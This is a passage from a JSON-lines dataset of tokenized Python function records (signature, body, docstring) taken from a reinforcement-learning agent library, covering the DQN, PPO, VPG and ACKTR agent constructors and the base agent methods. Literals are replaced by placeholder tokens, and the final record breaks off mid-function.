{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>network,<EOL>batched_observe=True,<EOL>batching_capacity=<NUM_LIT:1000>,<EOL>scope='<STR_LIT>',<EOL>device=None,<EOL>saver=None,<EOL>summarizer=None,<EOL>execution=None,<EOL>variable_noise=None,<EOL>states_preprocessing=None,<EOL>actions_exploration=None,<EOL>reward_preprocessing=None,<EOL>update_mode=None,<EOL>memory=None,<EOL>discount=<NUM_LIT>,<EOL>distributions=None,<EOL>entropy_regularization=None,<EOL>baseline_mode=None,<EOL>baseline=None,<EOL>baseline_optimizer=None,<EOL>gae_lambda=None,<EOL>likelihood_ratio_clipping=None,<EOL>learning_rate=<NUM_LIT>,<EOL>ls_max_iterations=<NUM_LIT:10>,<EOL>ls_accept_ratio=<NUM_LIT>,<EOL>ls_unroll_loop=False<EOL>):", "body": "<EOL>if update_mode is None:<EOL><INDENT>update_mode = dict(<EOL>unit='<STR_LIT>',<EOL>batch_size=<NUM_LIT:10><EOL>)<EOL><DEDENT>elif '<STR_LIT>' in update_mode:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>update_mode['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if memory is None:<EOL><INDENT>memory = dict(<EOL>type='<STR_LIT>',<EOL>include_next_states=False,<EOL>capacity=(<NUM_LIT:1000> * update_mode['<STR_LIT>'])<EOL>)<EOL><DEDENT>else:<EOL><INDENT>assert not memory['<STR_LIT>']<EOL><DEDENT>assert (update_mode['<STR_LIT>'] != '<STR_LIT>' or memory['<STR_LIT:type>'] == '<STR_LIT>')<EOL>optimizer = dict(<EOL>type='<STR_LIT>',<EOL>optimizer=dict(<EOL>type='<STR_LIT>',<EOL>learning_rate=learning_rate<EOL>),<EOL>ls_max_iterations=ls_max_iterations,<EOL>ls_accept_ratio=ls_accept_ratio,<EOL>ls_mode='<STR_LIT>',  <EOL>ls_parameter=<NUM_LIT:0.5>,  <EOL>ls_unroll_loop=ls_unroll_loop<EOL>)<EOL>self.baseline_mode = baseline_mode<EOL>self.baseline = baseline<EOL>self.baseline_optimizer = baseline_optimizer<EOL>self.gae_lambda = gae_lambda<EOL>self.likelihood_ratio_clipping = likelihood_ratio_clipping<EOL>super(ACKTRAgent, self).__init__(<EOL>states=states,<EOL>actions=actions,<EOL>batched_observe=batched_observe,<EOL>batching_capacity=batching_capacity,<EOL>scope=scope,<EOL>device=device,<EOL>saver=saver,<EOL>summarizer=summarizer,<EOL>execution=execution,<EOL>variable_noise=variable_noise,<EOL>states_preprocessing=states_preprocessing,<EOL>actions_exploration=actions_exploration,<EOL>reward_preprocessing=reward_preprocessing,<EOL>update_mode=update_mode,<EOL>memory=memory,<EOL>optimizer=optimizer,<EOL>discount=discount,<EOL>network=network,<EOL>distributions=distributions,<EOL>entropy_regularization=entropy_regularization<EOL>)<EOL>", "docstring": "Initializes the ACKTR agent.\n\nArgs:\n    update_mode (spec): Update mode specification, with the following attributes:\n        - unit: 'episodes' if given (default: 'episodes').\n        - batch_size: integer (default: 10).\n        - frequency: integer (default: batch_size).\n    memory (spec): Memory specification, see core.memories module for more information\n        (default: {type='latest', include_next_states=false, capacity=1000*batch_size}).\n    optimizer (spec): ACKTR agent implicitly defines an optimized-step KFAC optimizer.\n    baseline_mode (str): One of 'states', 'network' (default: none).\n    baseline (spec): Baseline specification, see core.baselines module for more information\n        (default: none).\n    baseline_optimizer (spec): Baseline optimizer specification, see core.optimizers module\n        for more information (default: none).\n    gae_lambda (float): Lambda factor for generalized advantage estimation (default: none).\n    likelihood_ratio_clipping (float): Likelihood ratio clipping for policy gradient\n        (default: none).\n    learning_rate (float): Learning rate of natural-gradient optimizer (default: 1e-3).\n    cg_max_iterations (int): Conjugate-gradient max iterations (default: 20).\n    cg_damping (float): Conjugate-gradient damping (default: 1e-3).\n    cg_unroll_loop (bool): Conjugate-gradient unroll loop (default: false).\n    ls_max_iterations (int): Line-search max iterations (default: 10).\n    ls_accept_ratio (float): Line-search accept ratio (default: 0.9).\n    ls_unroll_loop (bool): Line-search unroll loop (default: false).", "id": "f14287:c0:m0"}
{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>network,<EOL>batched_observe=True,<EOL>batching_capacity=<NUM_LIT:1000>,<EOL>scope='<STR_LIT>',<EOL>device=None,<EOL>saver=None,<EOL>summarizer=None,<EOL>execution=None,<EOL>variable_noise=None,<EOL>states_preprocessing=None,<EOL>actions_exploration=None,<EOL>reward_preprocessing=None,<EOL>update_mode=None,<EOL>memory=None,<EOL>optimizer=None,<EOL>discount=<NUM_LIT>,<EOL>distributions=None,<EOL>entropy_regularization=None,<EOL>target_sync_frequency=<NUM_LIT>,<EOL>target_update_weight=<NUM_LIT:1.0>,<EOL>double_q_model=False,<EOL>huber_loss=None<EOL>):", "body": "<EOL>if update_mode is None:<EOL><INDENT>update_mode = dict(<EOL>unit='<STR_LIT>',<EOL>batch_size=<NUM_LIT:32>,<EOL>frequency=<NUM_LIT:4><EOL>)<EOL><DEDENT>elif '<STR_LIT>' in update_mode:<EOL><INDENT>assert update_mode['<STR_LIT>'] == '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>update_mode['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if memory is None:<EOL><INDENT>memory = dict(<EOL>type='<STR_LIT>',<EOL>include_next_states=True,<EOL>capacity=(<NUM_LIT:1000> * update_mode['<STR_LIT>'])<EOL>)<EOL><DEDENT>else:<EOL><INDENT>assert memory['<STR_LIT>']<EOL><DEDENT>if optimizer is None:<EOL><INDENT>optimizer = dict(<EOL>type='<STR_LIT>',<EOL>learning_rate=<NUM_LIT><EOL>)<EOL><DEDENT>self.target_sync_frequency = target_sync_frequency<EOL>self.target_update_weight = target_update_weight<EOL>self.double_q_model = double_q_model<EOL>self.huber_loss = huber_loss<EOL>super(DQNAgent, self).__init__(<EOL>states=states,<EOL>actions=actions,<EOL>batched_observe=batched_observe,<EOL>batching_capacity=batching_capacity,<EOL>scope=scope,<EOL>device=device,<EOL>saver=saver,<EOL>summarizer=summarizer,<EOL>execution=execution,<EOL>variable_noise=variable_noise,<EOL>states_preprocessing=states_preprocessing,<EOL>actions_exploration=actions_exploration,<EOL>reward_preprocessing=reward_preprocessing,<EOL>update_mode=update_mode,<EOL>memory=memory,<EOL>optimizer=optimizer,<EOL>discount=discount,<EOL>network=network,<EOL>distributions=distributions,<EOL>entropy_regularization=entropy_regularization<EOL>)<EOL>", "docstring": "Initializes the DQN agent.\n\nArgs:\n    update_mode (spec): Update mode specification, with the following attributes:\n        - unit: 'timesteps' if given (default: 'timesteps').\n        - batch_size: integer (default: 32).\n        - frequency: integer (default: 4).\n    memory (spec): Memory specification, see core.memories module for more information\n        (default: {type='replay', include_next_states=true, capacity=1000*batch_size}).\n    optimizer (spec): Optimizer specification, see core.optimizers module for more\n        information (default: {type='adam', learning_rate=1e-3}).\n    target_sync_frequency (int): Target network sync frequency (default: 10000).\n    target_update_weight (float): Target network update weight (default: 1.0).\n    double_q_model (bool): Specifies whether double DQN mode is used (default: false).\n    huber_loss (float): Huber loss clipping (default: none).", "id": "f14288:c0:m0"}
{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>network,<EOL>batched_observe=True,<EOL>batching_capacity=<NUM_LIT:1000>,<EOL>scope='<STR_LIT>',<EOL>device=None,<EOL>saver=None,<EOL>summarizer=None,<EOL>execution=None,<EOL>variable_noise=None,<EOL>states_preprocessing=None,<EOL>actions_exploration=None,<EOL>reward_preprocessing=None,<EOL>update_mode=None,<EOL>memory=None,<EOL>optimizer=None,<EOL>discount=<NUM_LIT>,<EOL>distributions=None,<EOL>entropy_regularization=None,<EOL>target_sync_frequency=<NUM_LIT>,<EOL>target_update_weight=<NUM_LIT:1.0>,<EOL>double_q_model=False,<EOL>huber_loss=None<EOL>):", "body": "<EOL>if update_mode is None:<EOL><INDENT>update_mode = dict(<EOL>unit='<STR_LIT>',<EOL>batch_size=<NUM_LIT:10><EOL>)<EOL><DEDENT>elif '<STR_LIT>' in update_mode:<EOL><INDENT>assert update_mode['<STR_LIT>'] == '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>update_mode['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if memory is None:<EOL><INDENT>memory = dict(<EOL>type='<STR_LIT>',<EOL>include_next_states=True,<EOL>capacity=(<NUM_LIT:1000> * update_mode['<STR_LIT>'])<EOL>)<EOL><DEDENT>else:<EOL><INDENT>assert memory['<STR_LIT>']<EOL><DEDENT>if optimizer is None:<EOL><INDENT>optimizer = dict(<EOL>type='<STR_LIT>',<EOL>learning_rate=<NUM_LIT><EOL>)<EOL><DEDENT>self.target_sync_frequency = target_sync_frequency<EOL>self.target_update_weight = target_update_weight<EOL>self.double_q_model = double_q_model<EOL>self.huber_loss = huber_loss<EOL>super(DQNNstepAgent, self).__init__(<EOL>states=states,<EOL>actions=actions,<EOL>batched_observe=batched_observe,<EOL>batching_capacity=batching_capacity,<EOL>scope=scope,<EOL>device=device,<EOL>saver=saver,<EOL>summarizer=summarizer,<EOL>execution=execution,<EOL>variable_noise=variable_noise,<EOL>states_preprocessing=states_preprocessing,<EOL>actions_exploration=actions_exploration,<EOL>reward_preprocessing=reward_preprocessing,<EOL>update_mode=update_mode,<EOL>memory=memory,<EOL>optimizer=optimizer,<EOL>discount=discount,<EOL>network=network,<EOL>distributions=distributions,<EOL>entropy_regularization=entropy_regularization<EOL>)<EOL>", "docstring": "Initializes the DQN n-step agent.\n\nArgs:\n    update_mode (spec): Update mode specification, with the following attributes:\n        - unit: 'episodes' if given (default: 'episodes').\n        - batch_size: integer (default: 10).\n        - frequency: integer (default: batch_size).\n    memory (spec): Memory specification, see core.memories module for more information\n        (default: {type='latest', include_next_states=true, capacity=1000*batch_size}).\n    optimizer (spec): Optimizer specification, see core.optimizers module for more\n        information (default: {type='adam', learning_rate=1e-3}).\n    target_sync_frequency (int): Target network sync frequency (default: 10000).\n    target_update_weight (float): Target network update weight (default: 1.0).\n    double_q_model (bool): Specifies whether double DQN mode is used (default: false).\n    huber_loss (float): Huber loss clipping (default: none).", "id": "f14289:c0:m0"}
{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>batched_observe=True,<EOL>batching_capacity=<NUM_LIT:1000><EOL>):", "body": "self.states, self.unique_state = sanity_check_states(states)<EOL>self.actions, self.unique_action = sanity_check_actions(actions)<EOL>self.batched_observe = batched_observe<EOL>self.batching_capacity = batching_capacity<EOL>self.current_states = None<EOL>self.current_actions = None<EOL>self.current_internals = None<EOL>self.next_internals = None<EOL>self.current_terminal = None<EOL>self.current_reward = None<EOL>self.timestep = None<EOL>self.episode = None<EOL>self.model = self.initialize_model()<EOL>if self.batched_observe:<EOL><INDENT>assert self.batching_capacity is not None<EOL>self.observe_terminal = [list() for _ in range(self.model.num_parallel)]<EOL>self.observe_reward = [list() for _ in range(self.model.num_parallel)]<EOL><DEDENT>self.reset()<EOL>", "docstring": "Initializes the agent.\n\nArgs:\n    states (spec, or dict of specs): States specification, with the following attributes\n        (required):\n        - type: one of 'bool', 'int', 'float' (default: 'float').\n        - shape: integer, or list/tuple of integers (required).\n    actions (spec, or dict of specs): Actions specification, with the following attributes\n        (required):\n        - type: one of 'bool', 'int', 'float' (required).\n        - shape: integer, or list/tuple of integers (default: []).\n        - num_actions: integer (required if type == 'int').\n        - min_value and max_value: float (optional if type == 'float', default: none).\n    batched_observe (bool): Specifies whether calls to model.observe() are batched, for\n        improved performance (default: true).\n    batching_capacity (int): Batching capacity of agent and model (default: 1000).", "id": "f14290:c0:m0"}
{"signature": "def initialize_model(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Creates and returns the model (including a local replica in case of distributed learning) for this agent\nbased on specifications given by user. This method needs to be implemented by the different agent subclasses.", "id": "f14290:c0:m3"}
{"signature": "def reset(self):", "body": "self.episode, self.timestep, self.next_internals = self.model.reset()<EOL>self.current_internals = self.next_internals<EOL>", "docstring": "Resets the agent to its initial state (e.g. on experiment start). Updates the Model's internal episode and\ntime step counter, internal states, and resets preprocessors.", "id": "f14290:c0:m4"}
{"signature": "def act(self, states, deterministic=False, independent=False, fetch_tensors=None, buffered=True, index=<NUM_LIT:0>):", "body": "self.current_internals = self.next_internals<EOL>if self.unique_state:<EOL><INDENT>self.current_states = dict(state=np.asarray(states))<EOL><DEDENT>else:<EOL><INDENT>self.current_states = {name: np.asarray(states[name]) for name in sorted(states)}<EOL><DEDENT>if fetch_tensors is not None:<EOL><INDENT>self.current_actions, self.next_internals, self.timestep, self.fetched_tensors = self.model.act(<EOL>states=self.current_states,<EOL>internals=self.current_internals,<EOL>deterministic=deterministic,<EOL>independent=independent,<EOL>fetch_tensors=fetch_tensors,<EOL>index=index<EOL>)<EOL>if self.unique_action:<EOL><INDENT>return self.current_actions['<STR_LIT:action>'], self.fetched_tensors<EOL><DEDENT>else:<EOL><INDENT>return self.current_actions, self.fetched_tensors<EOL><DEDENT><DEDENT>self.current_actions, self.next_internals, self.timestep = self.model.act(<EOL>states=self.current_states,<EOL>internals=self.current_internals,<EOL>deterministic=deterministic,<EOL>independent=independent,<EOL>index=index<EOL>)<EOL>if buffered:<EOL><INDENT>if self.unique_action:<EOL><INDENT>return self.current_actions['<STR_LIT:action>']<EOL><DEDENT>else:<EOL><INDENT>return self.current_actions<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if self.unique_action:<EOL><INDENT>return self.current_actions['<STR_LIT:action>'], self.current_states, self.current_internals<EOL><DEDENT>else:<EOL><INDENT>return self.current_actions, self.current_states, self.current_internals<EOL><DEDENT><DEDENT>", "docstring": "Return action(s) for given state(s). States preprocessing and exploration are applied if\nconfigured accordingly.\n\nArgs:\n    states (any): One state (usually a value tuple) or dict of states if multiple states are expected.\n    deterministic (bool): If true, no exploration and sampling is applied.\n    independent (bool): If true, action is not followed by observe (and hence not included\n        in updates).\n    fetch_tensors (list): Optional String of named tensors to fetch\n    buffered (bool): If true (default), states and internals are not returned but buffered\n        with observes. Must be false for multi-threaded mode as we need atomic inserts.\nReturns:\n    Scalar value of the action or dict of multiple actions the agent wants to execute.\n    (fetched_tensors) Optional dict() with named tensors fetched", "id": "f14290:c0:m5"}
{"signature": "def observe(self, terminal, reward, index=<NUM_LIT:0>):", "body": "self.current_terminal = terminal<EOL>self.current_reward = reward<EOL>if self.batched_observe:<EOL><INDENT>self.observe_terminal[index].append(self.current_terminal)<EOL>self.observe_reward[index].append(self.current_reward)<EOL>if self.current_terminal or len(self.observe_terminal[index]) >= self.batching_capacity:<EOL><INDENT>self.episode = self.model.observe(<EOL>terminal=self.observe_terminal[index],<EOL>reward=self.observe_reward[index],<EOL>index=index<EOL>)<EOL>self.observe_terminal[index] = list()<EOL>self.observe_reward[index] = list()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.episode = self.model.observe(<EOL>terminal=self.current_terminal,<EOL>reward=self.current_reward<EOL>)<EOL><DEDENT>", "docstring": "Observe experience from the environment to learn from. Optionally pre-processes rewards\nChild classes should call super to get the processed reward\nEX: terminal, reward = super()...\n\nArgs:\n    terminal (bool): boolean indicating if the episode terminated after the observation.\n    reward (float): scalar reward that resulted from executing the action.", "id": "f14290:c0:m6"}
{"signature": "def atomic_observe(self, states, actions, internals, reward, terminal):", "body": "<EOL>self.current_terminal = terminal<EOL>self.current_reward = reward<EOL>if self.unique_state:<EOL><INDENT>states = dict(state=states)<EOL><DEDENT>if self.unique_action:<EOL><INDENT>actions = dict(action=actions)<EOL><DEDENT>self.episode = self.model.atomic_observe(<EOL>states=states,<EOL>actions=actions,<EOL>internals=internals,<EOL>terminal=self.current_terminal,<EOL>reward=self.current_reward<EOL>)<EOL>", "docstring": "Utility method for unbuffered observing where each tuple is inserted into TensorFlow via\na single session call, thus avoiding race conditions in multi-threaded mode.\n\nObserve full experience  tuplefrom the environment to learn from. Optionally pre-processes rewards\nChild classes should call super to get the processed reward\nEX: terminal, reward = super()...\n\nArgs:\n    states (any): One state (usually a value tuple) or dict of states if multiple states are expected.\n    actions (any): One action (usually a value tuple) or dict of states if multiple actions are expected.\n    internals (any): Internal list.\n    terminal (bool): boolean indicating if the episode terminated after the observation.\n    reward (float): scalar reward that resulted from executing the action.", "id": "f14290:c0:m7"}
{"signature": "def save_model(self, directory=None, append_timestep=True):", "body": "return self.model.save(directory=directory, append_timestep=append_timestep)<EOL>", "docstring": "Save TensorFlow model. If no checkpoint directory is given, the model's default saver\ndirectory is used. Optionally appends current timestep to prevent overwriting previous\ncheckpoint files. Turn off to be able to load model from the same given path argument as\ngiven here.\n\nArgs:\n    directory (str): Optional checkpoint directory.\n    append_timestep (bool):  Appends the current timestep to the checkpoint file if true.\n        If this is set to True, the load path must include the checkpoint timestep suffix.\n        For example, if stored to models/ and set to true, the exported file will be of the\n        form models/model.ckpt-X where X is the last timestep saved. The load path must\n        precisely match this file name. If this option is turned off, the checkpoint will\n        always overwrite the file specified in path and the model can always be loaded under\n        this path.\n\nReturns:\n    Checkpoint path were the model was saved.", "id": "f14290:c0:m10"}
{"signature": "def restore_model(self, directory=None, file=None):", "body": "self.model.restore(directory=directory, file=file)<EOL>", "docstring": "Restore TensorFlow model. If no checkpoint file is given, the latest checkpoint is\nrestored. If no checkpoint directory is given, the model's default saver directory is\nused (unless file specifies the entire path).\n\nArgs:\n    directory: Optional checkpoint directory.\n    file: Optional checkpoint file, or path if directory not given.", "id": "f14290:c0:m11"}
{"signature": "@staticmethod<EOL><INDENT>def from_spec(spec, kwargs):<DEDENT>", "body": "agent = util.get_object(<EOL>obj=spec,<EOL>predefined_objects=tensorforce.agents.agents,<EOL>kwargs=kwargs<EOL>)<EOL>assert isinstance(agent, Agent)<EOL>return agent<EOL>", "docstring": "Creates an agent from a specification dict.", "id": "f14290:c0:m12"}
{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>network,<EOL>batched_observe=True,<EOL>batching_capacity=<NUM_LIT:1000>,<EOL>scope='<STR_LIT>',<EOL>device=None,<EOL>saver=None,<EOL>summarizer=None,<EOL>execution=None,<EOL>variable_noise=None,<EOL>states_preprocessing=None,<EOL>actions_exploration=None,<EOL>reward_preprocessing=None,<EOL>update_mode=None,<EOL>memory=None,<EOL>optimizer=None,<EOL>discount=<NUM_LIT>,<EOL>distributions=None,<EOL>entropy_regularization=None,<EOL>baseline_mode=None,<EOL>baseline=None,<EOL>baseline_optimizer=None,<EOL>gae_lambda=None<EOL>):", "body": "<EOL>if update_mode is None:<EOL><INDENT>update_mode = dict(<EOL>unit='<STR_LIT>',<EOL>batch_size=<NUM_LIT:10><EOL>)<EOL><DEDENT>elif '<STR_LIT>' in update_mode:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>update_mode['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if memory is None:<EOL><INDENT>memory = dict(<EOL>type='<STR_LIT>',<EOL>include_next_states=False,<EOL>capacity=(<NUM_LIT:1000> * update_mode['<STR_LIT>'])<EOL>)<EOL><DEDENT>else:<EOL><INDENT>assert not memory['<STR_LIT>']<EOL><DEDENT>if optimizer is None:<EOL><INDENT>optimizer = dict(<EOL>type='<STR_LIT>',<EOL>learning_rate=<NUM_LIT><EOL>)<EOL><DEDENT>self.baseline_mode = baseline_mode<EOL>self.baseline = baseline<EOL>self.baseline_optimizer = baseline_optimizer<EOL>self.gae_lambda = gae_lambda<EOL>super(VPGAgent, self).__init__(<EOL>states=states,<EOL>actions=actions,<EOL>batched_observe=batched_observe,<EOL>batching_capacity=batching_capacity,<EOL>scope=scope,<EOL>device=device,<EOL>saver=saver,<EOL>summarizer=summarizer,<EOL>execution=execution,<EOL>variable_noise=variable_noise,<EOL>states_preprocessing=states_preprocessing,<EOL>actions_exploration=actions_exploration,<EOL>reward_preprocessing=reward_preprocessing,<EOL>update_mode=update_mode,<EOL>memory=memory,<EOL>optimizer=optimizer,<EOL>discount=discount,<EOL>network=network,<EOL>distributions=distributions,<EOL>entropy_regularization=entropy_regularization<EOL>)<EOL>", "docstring": "Initializes the VPG agent.\n\nArgs:\n    update_mode (spec): Update mode specification, with the following attributes:\n        - unit: 'episodes' if given (default: 'episodes').\n        - batch_size: integer (default: 10).\n        - frequency: integer (default: batch_size).\n    memory (spec): Memory specification, see core.memories module for more information\n        (default: {type='latest', include_next_states=false, capacity=1000*batch_size}).\n    optimizer (spec): Optimizer specification, see core.optimizers module for more\n        information (default: {type='adam', learning_rate=1e-3}).\n    baseline_mode (str): One of 'states', 'network' (default: none).\n    baseline (spec): Baseline specification, see core.baselines module for more information\n        (default: none).\n    baseline_optimizer (spec): Baseline optimizer specification, see core.optimizers module\n        for more information (default: none).\n    gae_lambda (float): Lambda factor for generalized advantage estimation (default: none).", "id": "f14292:c0:m0"}
{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>network,<EOL>batched_observe=True,<EOL>batching_capacity=<NUM_LIT:1000>,<EOL>scope='<STR_LIT>',<EOL>device=None,<EOL>saver=None,<EOL>summarizer=None,<EOL>execution=None,<EOL>variable_noise=None,<EOL>states_preprocessing=None,<EOL>actions_exploration=None,<EOL>reward_preprocessing=None,<EOL>update_mode=None,<EOL>memory=None,<EOL>discount=<NUM_LIT>,<EOL>distributions=None,<EOL>entropy_regularization=None,<EOL>baseline_mode=None,<EOL>baseline=None,<EOL>baseline_optimizer=None,<EOL>gae_lambda=None,<EOL>likelihood_ratio_clipping=<NUM_LIT>,<EOL>step_optimizer=None,<EOL>subsampling_fraction=<NUM_LIT:0.1>,<EOL>optimization_steps=<NUM_LIT:50><EOL>):", "body": "<EOL>if update_mode is None:<EOL><INDENT>update_mode = dict(<EOL>unit='<STR_LIT>',<EOL>batch_size=<NUM_LIT:10><EOL>)<EOL><DEDENT>elif '<STR_LIT>' in update_mode:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>update_mode['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if memory is None:<EOL><INDENT>memory = dict(<EOL>type='<STR_LIT>',<EOL>include_next_states=False,<EOL>capacity=(<NUM_LIT:1000> * update_mode['<STR_LIT>'])<EOL>)<EOL><DEDENT>else:<EOL><INDENT>assert not memory['<STR_LIT>']<EOL><DEDENT>assert (update_mode['<STR_LIT>'] != '<STR_LIT>' or memory['<STR_LIT:type>'] == '<STR_LIT>')<EOL>if step_optimizer is None:<EOL><INDENT>step_optimizer = dict(<EOL>type='<STR_LIT>',<EOL>learning_rate=<NUM_LIT><EOL>)<EOL><DEDENT>optimizer = dict(<EOL>type='<STR_LIT>',<EOL>optimizer=dict(<EOL>type='<STR_LIT>',<EOL>optimizer=step_optimizer,<EOL>fraction=subsampling_fraction<EOL>),<EOL>num_steps=optimization_steps<EOL>)<EOL>self.baseline_mode = baseline_mode<EOL>self.baseline = baseline<EOL>self.baseline_optimizer = baseline_optimizer<EOL>self.gae_lambda = gae_lambda<EOL>self.likelihood_ratio_clipping = likelihood_ratio_clipping<EOL>super(PPOAgent, self).__init__(<EOL>states=states,<EOL>actions=actions,<EOL>batched_observe=batched_observe,<EOL>batching_capacity=batching_capacity,<EOL>scope=scope,<EOL>device=device,<EOL>saver=saver,<EOL>summarizer=summarizer,<EOL>execution=execution,<EOL>variable_noise=variable_noise,<EOL>states_preprocessing=states_preprocessing,<EOL>actions_exploration=actions_exploration,<EOL>reward_preprocessing=reward_preprocessing,<EOL>update_mode=update_mode,<EOL>memory=memory,<EOL>optimizer=optimizer,<EOL>discount=discount,<EOL>network=network,<EOL>distributions=distributions,<EOL>entropy_regularization=entropy_regularization<EOL>)<EOL>", "docstring": "Initializes the PPO agent.\n\nArgs:\n    update_mode (spec): Update mode specification, with the following attributes:\n        - unit: 'episodes' if given (default: 'episodes').\n        - batch_size: integer (default: 10).\n        - frequency: integer (default: batch_size).\n    memory (spec): Memory specification, see core.memories module for more information\n        (default: {type='latest', include_next_states=false, capacity=1000*batch_size}).\n    optimizer (spec): PPO agent implicitly defines a multi-step subsampling optimizer.\n    baseline_mode (str): One of 'states', 'network' (default: none).\n    baseline (spec): Baseline specification, see core.baselines module for more information\n        (default: none).\n    baseline_optimizer (spec): Baseline optimizer specification, see core.optimizers module\n        for more information (default: none).\n    gae_lambda (float): Lambda factor for generalized advantage estimation (default: none).\n    likelihood_ratio_clipping (float): Likelihood ratio clipping for policy gradient\n        (default: 0.2).\n    step_optimizer (spec): Step optimizer specification of implicit multi-step subsampling\n        optimizer, see core.optimizers module for more information (default: {type='adam',\n        learning_rate=1e-3}).\n    subsampling_fraction (float): Subsampling fraction of implicit subsampling optimizer\n        (default: 0.1).\n    optimization_steps (int): Number of optimization steps for implicit multi-step\n        optimizer (default: 50).", "id": "f14293:c0:m0"}
{"signature": "def __init__(<EOL>self,<EOL>states,<EOL>actions,<EOL>network,<EOL>update_mode,<EOL>memory,<EOL>optimizer,<EOL>batched_observe=True,<EOL>batching_capacity=<NUM_LIT:1000>,<EOL>scope='<STR_LIT>',<EOL>device=None,<EOL>saver=None,<EOL>summarizer=None,<EOL>execution=None,<EOL>variable_noise=None,<EOL>states_preprocessing=None,<EOL>actions_exploration=None,<EOL>reward_preprocessing=None,<EOL>discount=<NUM_LIT>,<EOL>distributions=None,<EOL>entropy_regularization=None<EOL>):", "body": "self.scope = scope<EOL>self.device = device<EOL>self.saver = saver<EOL>self.summarizer = summarizer<EOL>self.execution = sanity_check_execution_spec(execution)<EOL>self.variable_noise = variable_noise<EOL>self.states_preprocessing = states_preprocessing<EOL>self.actions_exploration = actions_exploration<EOL>self.reward_preprocessing = reward_preprocessing<EOL>self.update_mode = update_mode<EOL>self.memory = memory<EOL>self.optimizer = optimizer<EOL>self.discount = discount<EOL>self.network = network<EOL>self.distributions = distributions<EOL>self.entropy_regularization = entropy_regularization<EOL>if self.summarizer is None:<EOL><INDENT>summary_labels = set()<EOL><DEDENT>else:<EOL><INDENT>summary_labels = set(self.summarizer.get('<STR_LIT>', ()))<EOL><DEDENT>self.meta_param_recorder = None<EOL>if any(k in summary_labels for k in ['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>self.meta_param_recorder = MetaParameterRecorder(inspect.currentframe())<EOL>if '<STR_LIT>' in self.summarizer:<EOL><INDENT>self.meta_param_recorder.merge_custom(self.summarizer['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in summary_labels:<EOL><INDENT>self.summarizer['<STR_LIT>'] = self.meta_param_recorder<EOL><DEDENT>if '<STR_LIT>' in summary_labels:<EOL><INDENT>self.meta_param_recorder.text_output(format_type=<NUM_LIT:1>)<EOL><DEDENT><DEDENT>super(LearningAgent, self).__init__(<EOL>states=states,<EOL>actions=actions,<EOL>batched_observe=batched_observe,<EOL>batching_capacity=batching_capacity<EOL>)<EOL>", "docstring": "Initializes the learning agent.\n\nArgs:\n    update_mode (spec): Update mode specification, with the following attributes\n        (required):\n        - unit: one of 'timesteps', 'episodes', 'sequences' (required).\n        - batch_size: integer (required).\n        - frequency: integer (default: batch_size).\n        - length: integer (optional if unit == 'sequences', default: 8).\n    memory (spec): Memory specification, see core.memories module for more information\n        (required).\n    optimizer (spec): Optimizer specification, see core.optimizers module for more\n        information (required).\n    network (spec): Network specification, usually a list of layer specifications, see\n        core.networks module for more information (required).\n    scope (str): TensorFlow scope (default: name of agent).\n    device: TensorFlow device (default: none)\n    saver (spec): Saver specification, with the following attributes (default: none):\n        - directory: model directory.\n        - file: model filename (optional).\n        - seconds or steps: save frequency (default: 600 seconds).\n        - load: specifies whether model is loaded, if existent (default: true).\n        - basename: optional file basename (default: 'model.ckpt').\n    summarizer (spec): Summarizer specification, with the following attributes (default:\n        none):\n        - directory: summaries directory.\n        - seconds or steps: summarize frequency (default: 120 seconds).\n        - labels: list of summary labels to record (default: []).\n        - meta_param_recorder_class: ???.\n    execution (spec): Execution specification (see sanity_check_execution_spec for details).\n    variable_noise (float): Standard deviation of variable noise (default: none).\n    states_preprocessing (spec, or dict of specs): States preprocessing specification, see\n        core.preprocessors module for more information (default: none)\n    actions_exploration (spec, or dict of specs): Actions exploration specification, see\n        core.explorations module for more information (default: none).\n    reward_preprocessing (spec): Reward preprocessing specification, see core.preprocessors\n        module for more information (default: none).\n    discount (float): Discount factor for future rewards (default: 0.99).\n    distributions (spec / dict of specs): Distributions specifications, see\n        core.distributions module for more information (default: none).\n    entropy_regularization (float): Entropy regularization weight (default: none).", "id": "f14294:c0:m0"}
{"signature": "def import_experience(self, experiences):", "body": "if isinstance(experiences, dict):<EOL><INDENT>if self.unique_state:<EOL><INDENT>experiences['<STR_LIT>'] = dict(state=experiences['<STR_LIT>'])<EOL><DEDENT>if self.unique_action:<EOL><INDENT>experiences['<STR_LIT>'] = dict(action=experiences['<STR_LIT>'])<EOL><DEDENT>self.model.import_experience(**experiences)<EOL><DEDENT>else:<EOL><INDENT>if self.unique_state:<EOL><INDENT>states = dict(state=list())<EOL><DEDENT>else:<EOL><INDENT>states = {name: list() for name in experiences[<NUM_LIT:0>]['<STR_LIT>']}<EOL><DEDENT>internals = [list() for _ in experiences[<NUM_LIT:0>]['<STR_LIT>']]<EOL>if self.unique_action:<EOL><INDENT>actions = dict(action=list())<EOL><DEDENT>else:<EOL><INDENT>actions = {name: list() for name in experiences[<NUM_LIT:0>]['<STR_LIT>']}<EOL><DEDENT>terminal = list()<EOL>reward = list()<EOL>for experience in experiences:<EOL><INDENT>if self.unique_state:<EOL><INDENT>states['<STR_LIT:state>'].append(experience['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>for name in sorted(states):<EOL><INDENT>states[name].append(experience['<STR_LIT>'][name])<EOL><DEDENT><DEDENT>for n, internal in 